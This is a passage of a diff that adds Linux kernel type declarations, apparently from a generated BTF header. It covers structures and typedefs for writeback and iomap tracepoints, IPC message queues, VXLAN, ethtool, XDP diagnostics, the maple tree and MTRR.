trace_event_data_offsets_global_dirty_state {}; + +struct trace_event_data_offsets_bdi_dirty_ratelimit {}; + +struct trace_event_data_offsets_balance_dirty_pages {}; + +struct trace_event_data_offsets_writeback_sb_inodes_requeue {}; + +struct trace_event_data_offsets_writeback_single_inode_template {}; + +struct trace_event_data_offsets_writeback_inode_template {}; + +typedef void (*btf_trace_writeback_dirty_folio)(void *, struct folio *, struct address_space *); + +typedef void (*btf_trace_folio_wait_writeback)(void *, struct folio *, struct address_space *); + +typedef void (*btf_trace_writeback_mark_inode_dirty)(void *, struct inode *, int); + +typedef void (*btf_trace_writeback_dirty_inode_start)(void *, struct inode *, int); + +typedef void (*btf_trace_writeback_dirty_inode)(void *, struct inode *, int); + +typedef void (*btf_trace_inode_foreign_history)(void *, struct inode *, struct writeback_control *, unsigned int); + +typedef void (*btf_trace_inode_switch_wbs)(void *, struct inode *, struct bdi_writeback *, struct bdi_writeback *); + +typedef void (*btf_trace_track_foreign_dirty)(void *, struct folio *, struct bdi_writeback *); + +typedef void (*btf_trace_flush_foreign)(void *, struct bdi_writeback *, unsigned int, unsigned int); + +typedef void (*btf_trace_writeback_write_inode_start)(void *, struct inode *, struct writeback_control *); + +typedef void (*btf_trace_writeback_write_inode)(void *, struct inode *, struct writeback_control *); + +typedef void (*btf_trace_writeback_queue)(void *, struct bdi_writeback *, struct wb_writeback_work *); + +typedef void (*btf_trace_writeback_exec)(void *, struct bdi_writeback *, struct wb_writeback_work *); + +typedef void (*btf_trace_writeback_start)(void *, struct bdi_writeback *, struct wb_writeback_work *); + +typedef void (*btf_trace_writeback_written)(void *, struct bdi_writeback *, struct wb_writeback_work *); + +typedef void (*btf_trace_writeback_wait)(void *, struct bdi_writeback *, struct wb_writeback_work *); + +typedef void (*btf_trace_writeback_pages_written)(void *, long int); + +typedef void (*btf_trace_writeback_wake_background)(void *, struct bdi_writeback *); + +typedef void (*btf_trace_writeback_bdi_register)(void *, struct backing_dev_info *); + +typedef void (*btf_trace_wbc_writepage)(void *, struct writeback_control *, struct backing_dev_info *); + +typedef void (*btf_trace_writeback_queue_io)(void *, struct bdi_writeback *, struct wb_writeback_work *, long unsigned int, int); + +typedef void (*btf_trace_global_dirty_state)(void *, long unsigned int, long unsigned int); + +typedef void (*btf_trace_bdi_dirty_ratelimit)(void *, struct bdi_writeback *, long unsigned int, long unsigned int); + +typedef void (*btf_trace_balance_dirty_pages)(void *, struct bdi_writeback *, long unsigned int, long unsigned int, long unsigned int, long unsigned int, long unsigned int, long unsigned int, long unsigned int, long unsigned int, long unsigned int, long int, long unsigned int); + +typedef void (*btf_trace_writeback_sb_inodes_requeue)(void *, struct inode *); + +typedef void (*btf_trace_writeback_single_inode_start)(void *, struct inode *, struct writeback_control *, long unsigned int); + +typedef void (*btf_trace_writeback_single_inode)(void *, struct inode *, struct writeback_control *, long unsigned int); + +typedef void (*btf_trace_writeback_lazytime)(void *, struct inode *); + +typedef void (*btf_trace_writeback_lazytime_iput)(void *, struct inode *); + +typedef void (*btf_trace_writeback_dirty_inode_enqueue)(void *, struct inode *); + +typedef void (*btf_trace_sb_mark_inode_writeback)(void *, struct inode *); + +typedef void (*btf_trace_sb_clear_inode_writeback)(void *, struct inode *); + +struct inode_switch_wbs_context { + struct rcu_work work; + struct bdi_writeback *new_wb; + struct inode *inodes[0]; +}; + +struct trace_event_raw_iomap_readpage_class { + struct trace_entry ent; + dev_t dev; + u64 ino; + int nr_pages; + char __data[0]; +}; + +struct trace_event_raw_iomap_range_class { + struct trace_entry ent; + dev_t dev; + u64 ino; + loff_t size; + loff_t offset; + u64 length; + char __data[0]; +}; + +struct trace_event_raw_iomap_class { + struct trace_entry ent; + dev_t dev; + u64 ino; + u64 addr; + loff_t offset; + u64 length; + u16 type; + u16 flags; + dev_t bdev; + char __data[0]; +}; + +struct trace_event_raw_iomap_iter { + struct trace_entry ent; + dev_t dev; + u64 ino; + loff_t pos; + u64 length; + unsigned int flags; + const void *ops; + long unsigned int caller; + char __data[0]; +}; + +struct trace_event_raw_iomap_dio_rw_begin { + struct trace_entry ent; + dev_t dev; + ino_t ino; + loff_t isize; + loff_t pos; + size_t count; + size_t done_before; + int ki_flags; + unsigned int dio_flags; + bool aio; + char __data[0]; +}; + +struct trace_event_raw_iomap_dio_complete { + struct trace_entry ent; + dev_t dev; + ino_t ino; + loff_t isize; + loff_t pos; + int ki_flags; + bool aio; + int error; + ssize_t ret; + char __data[0]; +}; + +struct trace_event_data_offsets_iomap_readpage_class {}; + +struct trace_event_data_offsets_iomap_range_class {}; + +struct trace_event_data_offsets_iomap_class {}; + +struct trace_event_data_offsets_iomap_iter {}; + +struct trace_event_data_offsets_iomap_dio_rw_begin {}; + +struct trace_event_data_offsets_iomap_dio_complete {}; + +typedef void (*btf_trace_iomap_readpage)(void *, struct inode *, int); + +typedef void (*btf_trace_iomap_readahead)(void *, struct inode *, int); + +typedef void (*btf_trace_iomap_writepage)(void *, struct inode *, loff_t, u64); + +typedef void (*btf_trace_iomap_release_folio)(void *, struct inode *, loff_t, u64); + +typedef void (*btf_trace_iomap_invalidate_folio)(void *, struct inode *, loff_t, u64); + +typedef void (*btf_trace_iomap_dio_invalidate_fail)(void *, struct inode *, loff_t, u64); + +typedef void (*btf_trace_iomap_dio_rw_queued)(void *, struct inode *, loff_t, u64); + +typedef void (*btf_trace_iomap_iter_dstmap)(void *, struct inode *, struct iomap *); + +typedef void (*btf_trace_iomap_iter_srcmap)(void *, struct inode *, struct iomap *); + +typedef void (*btf_trace_iomap_writepage_map)(void *, struct inode *, struct iomap *); + +typedef void (*btf_trace_iomap_iter)(void *, struct iomap_iter *, const void *, long unsigned int); + +typedef void (*btf_trace_iomap_dio_rw_begin)(void *, struct kiocb *, struct iov_iter *, unsigned int, size_t); + +typedef void (*btf_trace_iomap_dio_complete)(void *, struct kiocb *, int, ssize_t); + +struct pending_reservation { + struct rb_node rb_node; + ext4_lblk_t lclu; +}; + +struct rsvd_count { + int ndelonly; + bool first_do_lblk_found; + ext4_lblk_t first_do_lblk; + ext4_lblk_t last_do_lblk; + struct extent_status *left_es; + bool partial; + ext4_lblk_t lclu; +}; + +typedef unsigned int __kernel_mode_t; + +typedef int __kernel_ipc_pid_t; + +typedef unsigned int __kernel_uid_t; + +typedef unsigned int __kernel_gid_t; + +struct ipc_perm { + __kernel_key_t key; + __kernel_uid_t uid; + __kernel_gid_t gid; + __kernel_uid_t cuid; + __kernel_gid_t cgid; + __kernel_mode_t mode; + short unsigned int seq; +}; + +struct ipc64_perm { + __kernel_key_t key; + __kernel_uid32_t uid; + __kernel_gid32_t gid; + __kernel_uid32_t cuid; + __kernel_gid32_t cgid; + __kernel_mode_t mode; + unsigned char __pad1[0]; + short unsigned int seq; + short unsigned int __pad2; + __kernel_ulong_t __unused1; + __kernel_ulong_t __unused2; +}; + +struct msgbuf { + __kernel_long_t mtype; + char mtext[1]; +}; + +struct msg; + +struct msqid_ds { + struct ipc_perm msg_perm; + struct msg *msg_first; + struct msg *msg_last; + __kernel_old_time_t msg_stime; + __kernel_old_time_t msg_rtime; + __kernel_old_time_t msg_ctime; + long unsigned int msg_lcbytes; + long unsigned int msg_lqbytes; + short unsigned int msg_cbytes; + short unsigned int msg_qnum; + short unsigned int msg_qbytes; + __kernel_ipc_pid_t msg_lspid; + __kernel_ipc_pid_t msg_lrpid; +}; + +struct msqid64_ds { + struct ipc64_perm msg_perm; + long int msg_stime; + long int msg_rtime; + long int msg_ctime; + long unsigned int msg_cbytes; + long unsigned int msg_qnum; + long unsigned int msg_qbytes; + __kernel_pid_t msg_lspid; + __kernel_pid_t msg_lrpid; + long unsigned int __unused4; + long unsigned int __unused5; +}; + +struct msginfo { + int msgpool; + int msgmap; + int msgmax; + int msgmnb; + int msgmni; + int msgssz; + int msgtql; + short unsigned int msgseg; +}; + +struct ipc_params { + key_t key; + int flg; + union { + size_t size; + int nsems; + } u; +}; + +struct ipc_ops { + int (*getnew)(struct ipc_namespace *, struct ipc_params *); + int (*associate)(struct kern_ipc_perm *, int); + int (*more_checks)(struct kern_ipc_perm *, struct ipc_params *); +}; + +struct msg_queue { + struct kern_ipc_perm q_perm; + time64_t q_stime; + time64_t q_rtime; + time64_t q_ctime; + long unsigned int q_cbytes; + long unsigned int q_qnum; + long unsigned int q_qbytes; + struct pid *q_lspid; + struct pid *q_lrpid; + struct list_head q_messages; + struct list_head q_receivers; + struct list_head q_senders; + long: 64; + long: 64; +}; + +struct msg_receiver { + struct list_head r_list; + struct task_struct *r_tsk; + int r_mode; + long int r_msgtype; + long int r_maxsize; + struct msg_msg *r_msg; +}; + +struct msg_sender { + struct list_head list; + struct task_struct *tsk; + size_t msgsz; +}; + +struct netif_security_struct { + struct net *ns; + int ifindex; + u32 sid; +}; + +struct sel_netif { + struct list_head list; + struct netif_security_struct nsec; + struct callback_head callback_head; +}; + +struct crypto_attr_alg { + char name[128]; +}; + +struct crypto_attr_type { + u32 type; + u32 mask; +}; + +enum { + CRYPTO_MSG_ALG_REQUEST = 0, + CRYPTO_MSG_ALG_REGISTER = 1, + CRYPTO_MSG_ALG_LOADED = 2, +}; + +struct crypto_larval { + struct crypto_alg alg; + struct crypto_alg *adult; + struct completion completion; + u32 mask; + bool test_started; +}; + +enum { + CRYPTOA_UNSPEC = 0, + CRYPTOA_ALG = 1, + CRYPTOA_TYPE = 2, + __CRYPTOA_MAX = 3, +}; + +struct asn1_decoder; + +struct x509_parse_context { + struct x509_certificate *cert; + long unsigned int data; + const void *key; + size_t key_size; + const void *params; + size_t params_size; + enum OID key_algo; + enum OID last_oid; + enum OID sig_algo; + u8 o_size; + u8 cn_size; + u8 email_size; + u16 o_offset; + u16 cn_offset; + u16 email_offset; + unsigned int raw_akid_size; + const void *raw_akid; + const void *akid_raw_issuer; + unsigned int akid_raw_issuer_size; +}; + +typedef struct blkcg_policy_data *blkcg_pol_alloc_cpd_fn(gfp_t); + +typedef void blkcg_pol_free_cpd_fn(struct blkcg_policy_data *); + +typedef struct blkg_policy_data *blkcg_pol_alloc_pd_fn(struct gendisk *, struct blkcg *, gfp_t); + +typedef void blkcg_pol_init_pd_fn(struct blkg_policy_data *); + +typedef void blkcg_pol_online_pd_fn(struct blkg_policy_data *); + +typedef void blkcg_pol_offline_pd_fn(struct blkg_policy_data *); + +typedef void blkcg_pol_free_pd_fn(struct blkg_policy_data *); + +typedef void blkcg_pol_reset_pd_stats_fn(struct blkg_policy_data *); + +typedef void blkcg_pol_stat_pd_fn(struct blkg_policy_data *, struct seq_file *); + +struct blkcg_policy { + int plid; + struct cftype *dfl_cftypes; + struct cftype *legacy_cftypes; + blkcg_pol_alloc_cpd_fn *cpd_alloc_fn; + blkcg_pol_free_cpd_fn *cpd_free_fn; + blkcg_pol_alloc_pd_fn *pd_alloc_fn; + blkcg_pol_init_pd_fn *pd_init_fn; + blkcg_pol_online_pd_fn *pd_online_fn; + blkcg_pol_offline_pd_fn *pd_offline_fn; + blkcg_pol_free_pd_fn *pd_free_fn; + blkcg_pol_reset_pd_stats_fn *pd_reset_stats_fn; + blkcg_pol_stat_pd_fn *pd_stat_fn; +}; + +enum blkg_rwstat_type { + BLKG_RWSTAT_READ = 0, + BLKG_RWSTAT_WRITE = 1, + BLKG_RWSTAT_SYNC = 2, + BLKG_RWSTAT_ASYNC = 3, + BLKG_RWSTAT_DISCARD = 4, + BLKG_RWSTAT_NR = 5, + BLKG_RWSTAT_TOTAL = 5, +}; + +enum { + LIMIT_LOW = 0, + LIMIT_MAX = 1, + LIMIT_CNT = 2, +}; + +struct queue_sysfs_entry { + struct attribute attr; + ssize_t (*show)(struct request_queue *, char *); + ssize_t (*store)(struct request_queue *, const char *, size_t); +}; + +typedef int bsg_sg_io_fn(struct request_queue *, struct sg_io_v4 *, fmode_t, unsigned int); + +struct bsg_device { + struct request_queue *queue; + struct device device; + struct cdev cdev; + int max_queue; + unsigned int timeout; + unsigned int reserved_size; + bsg_sg_io_fn *sg_io_fn; +}; + +struct io_cancel_data { + struct io_ring_ctx *ctx; + union { + u64 data; + struct file *file; + }; + u32 flags; + int seq; +}; + +struct io_timeout_data { + struct io_kiocb *req; + struct hrtimer timer; + struct timespec64 ts; + enum hrtimer_mode mode; + u32 flags; +}; + +struct io_timeout { + struct file *file; + u32 off; + u32 target_seq; + u32 repeats; + struct list_head list; + struct io_kiocb *head; + struct io_kiocb *prev; +}; + +struct io_timeout_rem { + struct file *file; + u64 addr; + struct timespec64 ts; + u32 flags; + bool ltimeout; +}; + +struct xxh32_state { + uint32_t total_len_32; + uint32_t large_len; + uint32_t v1; + uint32_t v2; + uint32_t v3; + uint32_t v4; + uint32_t mem32[4]; + uint32_t memsize; +}; + +struct xxh64_state { + uint64_t total_len; + uint64_t v1; + uint64_t v2; + uint64_t v3; + uint64_t v4; + uint64_t mem64[4]; + uint32_t memsize; +}; + +struct fault_attr { + long unsigned int probability; + long unsigned int interval; + atomic_t times; + atomic_t space; + long unsigned int verbose; + bool task_filter; + long unsigned int stacktrace_depth; + long unsigned int require_start; + long unsigned int require_end; + long unsigned int reject_start; + long unsigned int reject_end; + long unsigned int count; + struct ratelimit_state ratelimit_state; + struct dentry *dname; +}; + +enum fault_flags { + FAULT_NOWARN = 1, +}; + +struct efifb_dmi_info { + char *optname; + long unsigned int base; + int stride; + int width; + int height; + int flags; +}; + +struct aperture_range { + struct device *dev; + resource_size_t base; + resource_size_t size; + struct list_head lh; + void (*detach)(struct device *); +}; + +struct dma_fence_array_cb { + struct dma_fence_cb cb; + struct dma_fence_array *array; +}; + +struct nda_cacheinfo { + __u32 ndm_confirmed; + __u32 ndm_used; + __u32 ndm_updated; + __u32 ndm_refcnt; +}; + +enum { + IFLA_VXLAN_UNSPEC = 0, + IFLA_VXLAN_ID = 1, + IFLA_VXLAN_GROUP = 2, + IFLA_VXLAN_LINK = 3, + IFLA_VXLAN_LOCAL = 4, + IFLA_VXLAN_TTL = 5, + IFLA_VXLAN_TOS = 6, + IFLA_VXLAN_LEARNING = 7, + IFLA_VXLAN_AGEING = 8, + IFLA_VXLAN_LIMIT = 9, + IFLA_VXLAN_PORT_RANGE = 10, + IFLA_VXLAN_PROXY = 11, + IFLA_VXLAN_RSC = 12, + IFLA_VXLAN_L2MISS = 13, + IFLA_VXLAN_L3MISS = 14, + IFLA_VXLAN_PORT = 15, + IFLA_VXLAN_GROUP6 = 16, + IFLA_VXLAN_LOCAL6 = 17, + IFLA_VXLAN_UDP_CSUM = 18, + IFLA_VXLAN_UDP_ZERO_CSUM6_TX = 19, + IFLA_VXLAN_UDP_ZERO_CSUM6_RX = 20, + IFLA_VXLAN_REMCSUM_TX = 21, + IFLA_VXLAN_REMCSUM_RX = 22, + IFLA_VXLAN_GBP = 23, + IFLA_VXLAN_REMCSUM_NOPARTIAL = 24, + IFLA_VXLAN_COLLECT_METADATA = 25, + IFLA_VXLAN_LABEL = 26, + IFLA_VXLAN_GPE = 27, + IFLA_VXLAN_TTL_INHERIT = 28, + IFLA_VXLAN_DF = 29, + IFLA_VXLAN_VNIFILTER = 30, + IFLA_VXLAN_LOCALBYPASS = 31, + __IFLA_VXLAN_MAX = 32, +}; + +struct ifla_vxlan_port_range { + __be16 low; + __be16 high; +}; + +enum ifla_vxlan_df { + VXLAN_DF_UNSET = 0, + VXLAN_DF_SET = 1, + VXLAN_DF_INHERIT = 2, + __VXLAN_DF_END = 3, + VXLAN_DF_MAX = 2, +}; + +struct nd_msg { + struct icmp6hdr icmph; + struct in6_addr target; + __u8 opt[0]; +}; + +struct gro_remcsum { + int offset; + __wsum delta; +}; + +enum switchdev_notifier_type { + SWITCHDEV_FDB_ADD_TO_BRIDGE = 1, + SWITCHDEV_FDB_DEL_TO_BRIDGE = 2, + SWITCHDEV_FDB_ADD_TO_DEVICE = 3, + SWITCHDEV_FDB_DEL_TO_DEVICE = 4, + SWITCHDEV_FDB_OFFLOADED = 5, + SWITCHDEV_FDB_FLUSH_TO_BRIDGE = 6, + SWITCHDEV_PORT_OBJ_ADD = 7, + SWITCHDEV_PORT_OBJ_DEL = 8, + SWITCHDEV_PORT_ATTR_SET = 9, + SWITCHDEV_VXLAN_FDB_ADD_TO_BRIDGE = 10, + SWITCHDEV_VXLAN_FDB_DEL_TO_BRIDGE = 11, + SWITCHDEV_VXLAN_FDB_ADD_TO_DEVICE = 12, + SWITCHDEV_VXLAN_FDB_DEL_TO_DEVICE = 13, + SWITCHDEV_VXLAN_FDB_OFFLOADED = 14, + SWITCHDEV_BRPORT_OFFLOADED = 15, + SWITCHDEV_BRPORT_UNOFFLOADED = 16, +}; + +struct switchdev_notifier_info { + struct net_device *dev; + struct netlink_ext_ack *extack; + const void *ctx; +}; + +struct vxlanhdr { + __be32 vx_flags; + __be32 vx_vni; +}; + +struct vxlanhdr_gbp { + u8 vx_flags; + u8 reserved_flags1: 3; + u8 policy_applied: 1; + u8 reserved_flags2: 2; + u8 dont_learn: 1; + u8 reserved_flags3: 1; + __be16 policy_id; + __be32 vx_vni; +}; + +struct vxlanhdr_gpe { + u8 oam_flag: 1; + u8 reserved_flags1: 1; + u8 np_applied: 1; + u8 instance_applied: 1; + u8 version: 2; + u8 reserved_flags2: 2; + u8 reserved_flags3; + u8 reserved_flags4; + u8 next_protocol; + __be32 vx_vni; +}; + +struct vxlan_sock { + struct hlist_node hlist; + struct socket *sock; + struct hlist_head vni_list[1024]; + refcount_t refcnt; + u32 flags; +}; + +union vxlan_addr { + struct sockaddr_in sin; + struct sockaddr_in6 sin6; + struct sockaddr sa; +}; + +struct vxlan_rdst { + union vxlan_addr remote_ip; + __be16 remote_port; + u8 offloaded: 1; + __be32 remote_vni; + u32 remote_ifindex; + struct net_device *remote_dev; + struct list_head list; + struct callback_head rcu; + struct dst_cache dst_cache; +}; + +struct vxlan_config { + union vxlan_addr remote_ip; + union vxlan_addr saddr; + __be32 vni; + int remote_ifindex; + int mtu; + __be16 dst_port; + u16 port_min; + u16 port_max; + u8 tos; + u8 ttl; + __be32 label; + u32 flags; + long unsigned int age_interval; + unsigned int addrmax; + bool no_share; + enum ifla_vxlan_df df; +}; + +enum { + VXLAN_VNI_STATS_RX = 0, + VXLAN_VNI_STATS_RX_DROPS = 1, + VXLAN_VNI_STATS_RX_ERRORS = 2, + VXLAN_VNI_STATS_TX = 3, + VXLAN_VNI_STATS_TX_DROPS = 4, + VXLAN_VNI_STATS_TX_ERRORS = 5, +}; + +struct vxlan_vni_stats { + u64 rx_packets; + u64 rx_bytes; + u64 rx_drops; + u64 rx_errors; + u64 tx_packets; + u64 tx_bytes; + u64 tx_drops; + u64 tx_errors; +}; + +struct vxlan_vni_stats_pcpu { + struct vxlan_vni_stats stats; + struct u64_stats_sync syncp; +}; + +struct vxlan_dev; + +struct vxlan_dev_node { + struct hlist_node hlist; + struct vxlan_dev *vxlan; +}; + +struct vxlan_vni_group; + +struct vxlan_dev { + struct vxlan_dev_node hlist4; + struct vxlan_dev_node hlist6; + struct list_head next; + struct vxlan_sock *vn4_sock; + struct vxlan_sock *vn6_sock; + struct net_device *dev; + struct net *net; + struct vxlan_rdst default_dst; + struct timer_list age_timer; + spinlock_t hash_lock[256]; + unsigned int addrcnt; + struct gro_cells gro_cells; + struct vxlan_config cfg; + struct vxlan_vni_group *vnigrp; + struct hlist_head fdb_head[256]; + struct rhashtable mdb_tbl; + struct hlist_head mdb_list; + unsigned int mdb_seq; +}; + +struct vxlan_vni_node { + struct rhash_head vnode; + struct vxlan_dev_node hlist4; + struct vxlan_dev_node hlist6; + struct list_head vlist; + __be32 vni; + union vxlan_addr remote_ip; + struct vxlan_vni_stats_pcpu *stats; + struct callback_head rcu; +}; + +struct vxlan_vni_group { + struct rhashtable vni_hash; + struct list_head vni_list; + u32 num_vnis; +}; + +struct switchdev_notifier_vxlan_fdb_info { + struct switchdev_notifier_info info; + union vxlan_addr remote_ip; + __be16 remote_port; + __be32 remote_vni; + u32 remote_ifindex; + u8 eth_addr[6]; + __be32 vni; + bool offloaded; + bool added_by_user; +}; + +struct vxlan_net { + struct list_head vxlan_list; + struct hlist_head sock_list[256]; + spinlock_t sock_lock; + struct notifier_block nexthop_notifier_block; +}; + +struct vxlan_fdb { + struct hlist_node hlist; + struct callback_head rcu; + long unsigned int updated; + long unsigned int used; + struct list_head remotes; + u8 eth_addr[6]; + u16 state; + __be32 vni; + u16 flags; + struct list_head nh_list; + struct nexthop *nh; + struct vxlan_dev *vdev; +}; + +struct vxlan_mdb_entry; + +struct powerclamp_data { + unsigned int cpu; + unsigned int count; + unsigned int guard; + unsigned int window_size_now; + unsigned int target_ratio; + bool clamping; +}; + +struct powerclamp_calibration_data { + long unsigned int confidence; + long unsigned int steady_comp; + long unsigned int dynamic_comp; +}; + +struct pkg_cstate_info { + bool skip; + int msr_index; + int cstate_id; +}; + +struct idle_inject_device; + +struct ethtool_cmd { + __u32 cmd; + __u32 supported; + __u32 advertising; + __u16 speed; + __u8 duplex; + __u8 port; + __u8 phy_address; + __u8 transceiver; + __u8 autoneg; + __u8 mdio_support; + __u32 maxtxpkt; + __u32 maxrxpkt; + __u16 speed_hi; + __u8 eth_tp_mdix; + __u8 eth_tp_mdix_ctrl; + __u32 lp_advertising; + __u32 reserved[2]; +}; + +enum { + ETHTOOL_UDP_TUNNEL_TYPE_VXLAN = 0, + ETHTOOL_UDP_TUNNEL_TYPE_GENEVE = 1, + ETHTOOL_UDP_TUNNEL_TYPE_VXLAN_GPE = 2, + __ETHTOOL_UDP_TUNNEL_TYPE_CNT = 3, +}; + +enum ethtool_fec_config_bits { + ETHTOOL_FEC_NONE_BIT = 0, + ETHTOOL_FEC_AUTO_BIT = 1, + ETHTOOL_FEC_OFF_BIT = 2, + ETHTOOL_FEC_RS_BIT = 3, + ETHTOOL_FEC_BASER_BIT = 4, + ETHTOOL_FEC_LLRS_BIT = 5, +}; + +enum { + ETHTOOL_A_FEC_STAT_UNSPEC = 0, + ETHTOOL_A_FEC_STAT_PAD = 1, + ETHTOOL_A_FEC_STAT_CORRECTED = 2, + ETHTOOL_A_FEC_STAT_UNCORR = 3, + ETHTOOL_A_FEC_STAT_CORR_BITS = 4, + __ETHTOOL_A_FEC_STAT_CNT = 5, + ETHTOOL_A_FEC_STAT_MAX = 4, +}; + +struct fec_stat_grp { + u64 stats[9]; + u8 cnt; +}; + +struct fec_reply_data { + struct ethnl_reply_data base; + long unsigned int fec_link_modes[2]; + u32 active_fec; + u8 fec_auto; + struct fec_stat_grp corr; + struct fec_stat_grp uncorr; + struct fec_stat_grp corr_bits; +}; + +enum tcp_fastopen_client_fail { + TFO_STATUS_UNSPEC = 0, + TFO_COOKIE_UNAVAILABLE = 1, + TFO_DATA_NOT_ACKED = 2, + TFO_SYN_RETRANSMITTED = 3, +}; + +struct ipt_replace { + char name[32]; + unsigned int valid_hooks; + unsigned int num_entries; + unsigned int size; + unsigned int hook_entry[5]; + unsigned int underflow[5]; + unsigned int num_counters; + struct xt_counters *counters; + struct ipt_entry entries[0]; +}; + +struct ipt_standard { + struct ipt_entry entry; + struct xt_standard_target target; +}; + +struct ip_beet_phdr { + __u8 nexthdr; + __u8 hdrlen; + __u8 padlen; + __u8 reserved; +}; + +enum { + XFRM_MODE_FLAG_TUNNEL = 1, +}; + +struct rt0_hdr { + struct ipv6_rt_hdr rt_hdr; + __u32 reserved; + struct in6_addr addr[0]; +}; + +struct ipv6_destopt_hao { + __u8 type; + __u8 length; + struct in6_addr addr; +} __attribute__((packed)); + +struct ioam6_hdr { + __u8 opt_type; + __u8 opt_len; + char: 8; + __u8 type; +}; + +struct rt2_hdr { + struct ipv6_rt_hdr rt_hdr; + __u32 reserved; + struct in6_addr addr; +}; + +struct mip6_report_rate_limiter { + spinlock_t lock; + ktime_t stamp; + int iif; + struct in6_addr src; + struct in6_addr dst; +}; + +struct strp_msg { + int full_len; + int offset; +}; + +struct _strp_msg { + struct strp_msg strp; + int accum_len; +}; + +struct xdp_diag_req { + __u8 sdiag_family; + __u8 sdiag_protocol; + __u16 pad; + __u32 xdiag_ino; + __u32 xdiag_show; + __u32 xdiag_cookie[2]; +}; + +struct xdp_diag_msg { + __u8 xdiag_family; + __u8 xdiag_type; + __u16 pad; + __u32 xdiag_ino; + __u32 xdiag_cookie[2]; +}; + +enum { + XDP_DIAG_NONE = 0, + XDP_DIAG_INFO = 1, + XDP_DIAG_UID = 2, + XDP_DIAG_RX_RING = 3, + XDP_DIAG_TX_RING = 4, + XDP_DIAG_UMEM = 5, + XDP_DIAG_UMEM_FILL_RING = 6, + XDP_DIAG_UMEM_COMPLETION_RING = 7, + XDP_DIAG_MEMINFO = 8, + XDP_DIAG_STATS = 9, + __XDP_DIAG_MAX = 10, +}; + +struct xdp_diag_info { + __u32 ifindex; + __u32 queue_id; +}; + +struct xdp_diag_ring { + __u32 entries; +}; + +struct xdp_diag_umem { + __u64 size; + __u32 id; + __u32 num_pages; + __u32 chunk_size; + __u32 headroom; + __u32 ifindex; + __u32 queue_id; + __u32 flags; + __u32 refs; +}; + +struct xdp_diag_stats { + __u64 n_rx_dropped; + __u64 n_rx_invalid; + __u64 n_rx_full; + __u64 n_fill_ring_empty; + __u64 n_tx_invalid; + __u64 n_tx_ring_empty; +}; + +struct sock_diag_handler { + __u8 family; + int (*dump)(struct sk_buff *, struct nlmsghdr *); + int (*get_info)(struct sk_buff *, struct sock *); + int (*destroy)(struct sk_buff *, struct nlmsghdr *); +}; + +struct maple_metadata { + unsigned char end; + unsigned char gap; +}; + +struct maple_pnode; + +struct maple_range_64 { + struct maple_pnode *parent; + long unsigned int pivot[15]; + union { + void *slot[16]; + struct { + void *pad[15]; + struct maple_metadata meta; + }; + }; +}; + +struct maple_arange_64 { + struct maple_pnode *parent; + long unsigned int pivot[9]; + void *slot[10]; + long unsigned int gap[10]; + struct maple_metadata meta; +}; + +struct maple_topiary { + struct maple_pnode *parent; + struct maple_enode *next; +}; + +enum maple_type { + maple_dense = 0, + maple_leaf_64 = 1, + maple_range_64 = 2, + maple_arange_64 = 3, +}; + +struct maple_node { + union { + struct { + struct maple_pnode *parent; + void *slot[31]; + }; + struct { + void *pad; + struct callback_head rcu; + struct maple_enode *piv_parent; + unsigned char parent_slot; + enum maple_type type; + unsigned char slot_len; + unsigned int ma_flags; + }; + struct maple_range_64 mr64; + struct maple_arange_64 ma64; + struct maple_alloc alloc; + }; +}; + +struct ma_topiary { + struct maple_enode *head; + struct maple_enode *tail; + struct maple_tree *mtree; +}; + +struct ma_wr_state { + struct ma_state *mas; + struct maple_node *node; + long unsigned int r_min; + long unsigned int r_max; + enum maple_type type; + unsigned char offset_end; + unsigned char node_end; + long unsigned int *pivots; + long unsigned int end_piv; + void **slots; + void *entry; + void *content; +}; + +struct trace_event_raw_ma_op { + struct trace_entry ent; + const char *fn; + long unsigned int min; + long unsigned int max; + long unsigned int index; + long unsigned int last; + void *node; + char __data[0]; +}; + +struct trace_event_raw_ma_read { + struct trace_entry ent; + const char *fn; + long unsigned int min; + long unsigned int max; + long unsigned int index; + long unsigned int last; + void *node; + char __data[0]; +}; + +struct trace_event_raw_ma_write { + struct trace_entry ent; + const char *fn; + long unsigned int min; + long unsigned int max; + long unsigned int index; + long unsigned int last; + long unsigned int piv; + void *val; + void *node; + char __data[0]; +}; + +struct trace_event_data_offsets_ma_op {}; + +struct trace_event_data_offsets_ma_read {}; + +struct trace_event_data_offsets_ma_write {}; + +typedef void (*btf_trace_ma_op)(void *, const char *, struct ma_state *); + +typedef void (*btf_trace_ma_read)(void *, const char *, struct ma_state *); + +typedef void (*btf_trace_ma_write)(void *, const char *, struct ma_state *, long unsigned int, void *); + +struct maple_big_node { + struct maple_pnode *parent; + long unsigned int pivot[33]; + union { + struct maple_enode *slot[34]; + struct { + long unsigned int padding[21]; + long unsigned int gap[21]; + }; + }; + unsigned char b_end; + enum maple_type type; +}; + +struct maple_subtree_state { + struct ma_state *orig_l; + struct ma_state *orig_r; + struct ma_state *l; + struct ma_state *m; + struct ma_state *r; + struct ma_topiary *free; + struct ma_topiary *destroy; + struct maple_big_node *bn; +}; + +struct vdso_exception_table_entry { + int insn; + int fixup; +}; + +struct ima_setup_data { + __u64 addr; + __u64 size; +}; + +enum efi_secureboot_mode { + efi_secureboot_mode_unset = 0, + efi_secureboot_mode_unknown = 1, + efi_secureboot_mode_disabled = 2, + efi_secureboot_mode_enabled = 3, +}; + +struct aperfmperf { + seqcount_t seq; + long unsigned int last_update; + u64 acnt; + u64 mcnt; + u64 aperf; + u64 mperf; +}; + +struct mtrr_var_range { + __u32 base_lo; + __u32 base_hi; + __u32 mask_lo; + __u32 mask_hi; +}; + +typedef __u8 mtrr_type; + +struct mtrr_state_type { + struct mtrr_var_range var_ranges[256]; + mtrr_type fixed_ranges[88]; + unsigned char enabled; + unsigned char have_fixed; + mtrr_type def_type; +}; + +struct mtrr_ops { + u32 vendor; + void (*set)(unsigned int, long unsigned int, long unsigned int, mtrr_type); + void (*get)(unsigned int, long unsigned int *, long unsigned int *, mtrr_type *); + int (*get_free_region)(long unsigned int, long unsigned int, int); + int (*validate_add_page)(long unsigned int, long unsigned int, unsigned int); + int (*have_wrcomb)(); +}; + +struct var_mtrr_range_state { + long unsigned int base_pfn; + long unsigned int size_pfn; + mtrr_type type; +}; + +struct var_mtrr_state { + long unsigned int range_startk; + long unsigned int range_sizek; + long unsigned int chunk_sizek; + long unsigned int gran_sizek; + unsigned int reg; +}; + +struct mtrr_cleanup_result { + long unsigned int gran_sizek; + long unsigned int chunk_sizek; + long unsigned int lose_cover_sizek; + unsigned int num_reg; + int bad; +}; + +struct x86_perf_regs { + struct pt_regs regs; + u64 *xmm_regs; +}; + +struct ktime_timestamps { + u64 mono; + u64 boot; + u64 real; 